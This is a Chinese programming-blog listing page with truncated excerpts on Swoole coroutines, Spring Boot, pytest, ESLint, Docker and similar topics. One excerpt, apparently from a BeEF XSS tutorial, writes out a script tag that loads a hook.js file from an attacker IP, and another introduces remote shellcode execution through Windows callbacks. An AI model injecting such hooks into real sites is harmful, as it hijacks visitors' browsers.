通道 Coroutine\Channel 使用本地内存,不同的进程之间内存是隔离的。 只能在同一进程的不同协程内进行 push 和 pop 操作。 Co::set(['hook_flags'=> SWOOLE_HOOK_ALL]); Co\run(function(){ // 设置一个容量为1的通道 ...
分类:
其他好文 时间:
2020-07-12 19:10:33
阅读次数:
108
// 开启协程化,文件操作,sleep,Mysqli,PDO,streams等都变成异步IO Co::set(['hook_flags'=> SWOOLE_HOOK_ALL]); $s = microtime(true); // 创建协程容器 Co\run(function() { // 开启100 ...
分类:
其他好文 时间:
2020-07-11 17:23:32
阅读次数:
79
启动beef和apache 修改主页,在网页中添加 <script src='http://IP:3000/hook.js'></script> xss漏洞利用 篡改网页a标签中的连接 <script> window.onload = function(){ var link = document. ...
分类:
其他好文 时间:
2020-07-11 12:33:13
阅读次数:
57
1.简介 1.1 概述 Spring Boot makes it easy to create stand-alone, production-grade Spring based Applications that you can "just run". We take an opinionate ...
分类:
编程语言 时间:
2020-07-10 23:50:19
阅读次数:
71
1. 序列化的简单概念 2. JSON 标准库 2.1 json.dumps() 2.2 json.loads() 2.3 json.dump() 2.4 json.load() 1. 序列化的简单概念 我们平常对 python 对象所进行的操作是在内存中的,当程序关闭时这些对象就会被清空,所以我们 ...
分类:
Web程序 时间:
2020-07-10 16:51:02
阅读次数:
84
7.配置 7.1 pytest配置文件概念 pytest常见的非测试文件,如下所示: 1.pytest.ini:pytest的主配置文件,可以改变pytest的默认行为,其中有很多可配置的选项 2.conftest.py:本地的插件库,其中的hook函数和fixture将作用于该文件所在的目录及其子 ...
分类:
其他好文 时间:
2020-07-07 19:31:41
阅读次数:
40
1.Spring Boot是一个简化Spring开发的框架。用来监护spring应用开发,约定大于配置,去繁就简,just run 就能创建一个独立的,产品级的应用。 我们在使用Spring Boot时只需要配置相应的Spring Boot就可以用所有的Spring组件,简单的说,spring bo ...
分类:
编程语言 时间:
2020-07-06 14:33:27
阅读次数:
55
今天介绍第三种远程执行shellcode的思路:函数回调; 1、所谓回调,简单理解: windows出厂时,内部有很多事务的处理无法固化(无法100%预料外部会遇到哪些情况),只能留下一堆的接口,让开发人员根据实际情况完善这些事务的处理过程,比如多线程;windows提供了创建线程的接口Create ...
分类:
编程语言 时间:
2020-07-05 00:56:23
阅读次数:
113
eslint js代码的检查工具 下载: npm i eslint -D 使用: 生成配置文件 npx eslint --init 检查js文件 npx eslint 目录名 命中的规则: 字符串必须使用单引号 语句结尾不能有分号 文件的最后必须要有换行 eslint结合git husky: 哈士奇 ...
分类:
其他好文 时间:
2020-07-04 22:56:29
阅读次数:
58
一、打开VS,创建一个Web程序 在index.html中添加几行代码: <h1>just for learning docker</h1> <h1>Docker Demo</h1> 二、添加Dockerfile 右键—添加—Docker支持,Dockerfile会自动添加 按照修改下Dockerf ...
分类:
Web程序 时间:
2020-07-04 17:22:41
阅读次数:
104